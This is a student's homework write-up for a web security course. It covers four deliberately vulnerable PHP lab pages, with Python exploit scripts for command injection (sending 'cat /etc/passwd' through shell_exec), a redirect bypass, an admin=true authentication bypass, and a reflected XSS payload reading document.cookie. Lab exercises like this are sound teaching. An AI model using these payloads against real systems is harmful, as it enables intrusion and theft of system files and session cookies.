TIC4304 Homework 3

- Name: Ke Yule
- Student Number: A0211495H E0493826

- Scripts Can be Found at: https://github.com/keyule/4304-hw3

View the markdown version for better formatting at:
https://github.com/keyule/4304-hw3/blob/main/report.md

Case 1

Bug Category: Remote Code Execution

The logic of case01.php is:

1. Line 14: checks if cmd_url is set
2. Line 16: sets cmd_url to a virable called cmd
3. Line 19: runs shell_exec(cmd)
4. Line 20: Outputs the results

Exploit:
As we can see there is no sanitization of the cmd_url sent over a post request. We can just send any command we want and it will get executed.

Script: case01.py

```
import requests

url = 'http://www.wsb.com/Homework3/case01.php'

payload = {'cmd_url': 'cat /etc/passwd'}

response = requests.post(url, data=payload)

pre_start = response.text.find('<pre>')
pre_end = response.text.find('</pre>')

pre_text = response.text[pre_start+len('<pre>'):pre_end]

print(pre_text)
```

Case 2

Bug Category: Execution after Redirect

The logic of case02.php is:

1. it redirects you to case02-1.php using redirection header 302

Exploit:
We can grab the flag by sending a get request and setting `allow_redirects = false`. This way the redirect is prevented and it prints the flag.

Script: case02.py

```
import requests

url = 'http://www.wsb.com/Homework3/case02.php'
response = requests.get(url, allow_redirects=False)

flag = response.text.split('The flag is ')[1].split('</div>')[0]
print(flag)
```

Case 3

Bug Category: Login Authentication Flaw

The logic of protected_page.php is:

1. Line 23: Check if `get[admin] = true`
2. So if we send a get request with the admin variable set to true, it shows the flag.

Exploit:
We can grab the flag by sending a get request and setting `admin=true`. The script for this is long because we first have to create an account at register.php, then login using process_login, before finally grabbing the flag.

Script: case03.py

```
import requests
import hashlib
import re
reg_url = 'http://www.wsb.com/Homework3/case03/register.php'
login_url = 'http://www.wsb.com/Homework3/case03/includes/process_login.php'
protected_url = 'https://www.wsb.com/Homework3/case03/protected_page.php?
admin=true'

username = 'test123456'
email = 'test123456@1.com'
password = 'Password123'

hashed_password = hashlib.sha512(password.encode('utf-8')).hexdigest()

reg_payload = {
    'username': username,
    'email': email,
    'password':'',
    'confirmpwd':'',
    'p': hashed_password # the hashed password field
}
```

```
reg_response = requests.post(reg_url, data=reg_payload)

payload = {
    'email': email,
    'password': '',
    'p': hashed_password  # the hashed password field
}

session = requests.Session()
session.verify = False
response = session.post(login_url, data=payload)
session_id = session.cookies.get('sec_session_id23')

if session_id:
    # make request to protected page with session ID included in cookie
    cookies = {'sec_session_id23': session_id}
    response = session.get(protected_url, cookies=cookies)
    #print(response.text)
else:
    print("Login failed.")


flag = re.search('The flag is ([a-zA-Z0-9]+)', response.text).group(1)

print('The flag is: ' + flag)
```

Case 4

Bug Category: Reflected XSS

The logic of case04.php is:

1. Line 16: Takes the name variable from the get request
2. Line 18: Check if it has `<script>` in it and replaces it with nothing
3. Line 21: prints it

Exploit:
As the php page only checks for `<script>` we can still inject javacscript into it by using a payload without script tags.

Script: case04.py

```
import webbrowser

url = 'http://www.wsb.com/Homework3/case04.php?name=<img src=1 href=1
onerror="javascript:alert(document.cookie)"></img>'
new = 2
webbrowser.open(url, new=new)
```